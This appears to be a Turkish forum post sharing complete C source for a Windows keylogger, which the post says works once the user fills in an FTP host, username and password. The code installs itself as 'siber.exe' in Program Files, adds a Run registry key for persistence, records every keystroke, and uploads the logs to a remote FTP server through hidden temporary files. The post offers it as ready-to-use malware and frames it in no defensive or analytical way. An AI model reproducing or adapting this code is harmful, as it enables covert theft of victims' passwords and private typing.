Gerekli 4 Yeri doldurmanız yeterlidir...
Special Thanx;S_e_YM_e_N®
- Kod:
include <windows.h>
#include <wininet.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#define FTP_S "ftp domain"
#define FTP_U "ftp kullanici (Username)"
#define FTP_P "ftp sifre(password)"
#define SHIFT (((GetKeyState(VK_LSHIFT)|GetKeyState(VK_LSHIFT))&0x8000)>>15) \
^GetKeyState(VK_CAPITAL)
#define SERVER_DIRECTORY "/public/"
char server_file[500],log_file[2][500],key_buffer[100];
VOID Install(VOID){
char prog_files[MAX_PATH], curr_locat[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL),curr_locat,sizeof(curr_locat));
GetEnvironmentVariable(
"ProgramFiles",
prog_files,
sizeof(prog_files)
);
strncat(prog_files,"\\siber.exe",sizeof(prog_files)-strlen(prog_files));
CopyFile(curr_locat,prog_files,TRUE);
HKEY hKey;
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_SET_VALUE,
&hKey
);
RegSetValueEx(
hKey,
"siber",
0,
REG_SZ,
(const unsigned char*)prog_files,
strlen(prog_files)
);
RegCloseKey(hKey);
}
VOID InitiateVariables(VOID){
strcpy(server_file,SERVER_DIRECTORY);
GetEnvironmentVariable(
"USERNAME",
server_file + strlen(server_file),
sizeof(server_file) - strlen(server_file)
);
strncat(server_file,".txt",sizeof(server_file) - strlen(server_file));
GetEnvironmentVariable(
"TEMP",
log_file[0],
sizeof(log_file)
);
strncat(log_file[0],"\\temp12.tmp",sizeof(log_file[0])-strlen(server_file));
GetEnvironmentVariable(
"TEMP",
log_file[1],
sizeof(log_file)
);
strncat(log_file[1],"\\temp13.tmp",sizeof(log_file[1])-strlen(server_file));
ZeroMemory(key_buffer,sizeof(key_buffer));
}
BOOL FTP_UploadToServer(VOID){
HINTERNET inter,ftp_server;
HANDLE in_file, out_file;
DWORD dwRet[2];
CHAR buf[200];
if(!(inter = InternetOpen(0,0x01,0,0,0))){
return FALSE;
}
if(!(ftp_server = InternetConnect(inter,FTP_S,21,FTP_U,FTP_P,0x01,0,0))){
InternetCloseHandle(inter);
return FALSE;
}
if(!FtpGetFile(ftp_server,server_file,log_file[0],FALSE,0x2,0x2,NULL)){
out_file = CreateFile(
log_file[1],
FILE_WRITE_DATA,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
if(out_file){
WriteFile(out_file,key_buffer,strlen(key_buffer),&dwRet[0],NULL);
CloseHandle(out_file);
}
}else{
in_file = CreateFile(
log_file[0],
FILE_READ_DATA,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
out_file = CreateFile(
log_file[1],
FILE_WRITE_DATA,
FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
do{
ReadFile(in_file,buf,sizeof(buf),&dwRet[0],NULL);
WriteFile(out_file,buf,dwRet[0],&dwRet[1],NULL);
}while(dwRet[0] & dwRet[1]);
CloseHandle(in_file);
WriteFile(out_file,key_buffer,strlen(key_buffer),&dwRet[0],NULL);
CloseHandle(out_file);
}
if(FtpPutFile(ftp_server,log_file[1],server_file,0x2,NULL)){
InternetCloseHandle(ftp_server);
InternetCloseHandle(inter);
DeleteFile(log_file[1]);
return TRUE;
}
DeleteFile(log_file[1]);
InternetCloseHandle(ftp_server);
InternetCloseHandle(inter);
return FALSE;
}
VOID Keylog(VOID){
char keytext[48];
char buffer[54];
short unsigned int vkey, i, shift;
char state[256];
ZeroMemory(state,sizeof(state));
while(1){
for(i = 8; i<= 255; i++){
if((GetAsyncKeyState(i) & 0x8000) && (state[i] == 0)){
state[i] = 1;
shift = SHIFT;
vkey = MapVirtualKey(i, 0);
switch(vkey){
case 28:
strcpy(keytext, "\n");
break;
case 57:
strcpy(keytext, " ");
break;
case 91:
strcpy(keytext, "Win");
break;
default:
GetKeyNameText(vkey << 16, keytext, 48);
break;
}
if(strlen(keytext) != 1)
{ sprintf(buffer, "[%s]", keytext); }
else if(shift)
{ sprintf(buffer, "%c", toupper(keytext[0])); }
else
{ sprintf(buffer, "%c", tolower(keytext[0])); }
if(!*key_buffer){
strcpy(key_buffer,buffer);
}else strcat(key_buffer,buffer);
if(strlen(key_buffer) >= 50){
FTP_UploadToServer();
*key_buffer = 0;
}
}else if((GetAsyncKeyState(i)&0x8000) && (state[i] == 1)){
state[i] = 1;
}else if (state[i] == 1){
state[i] = 0;
}
}
Sleep(50);
}
}
int main(int argc,char *argv[]){
InitiateVariables();
Install();
Keylog();
return 0;
}
Special Thanx;S_e_YM_e_N®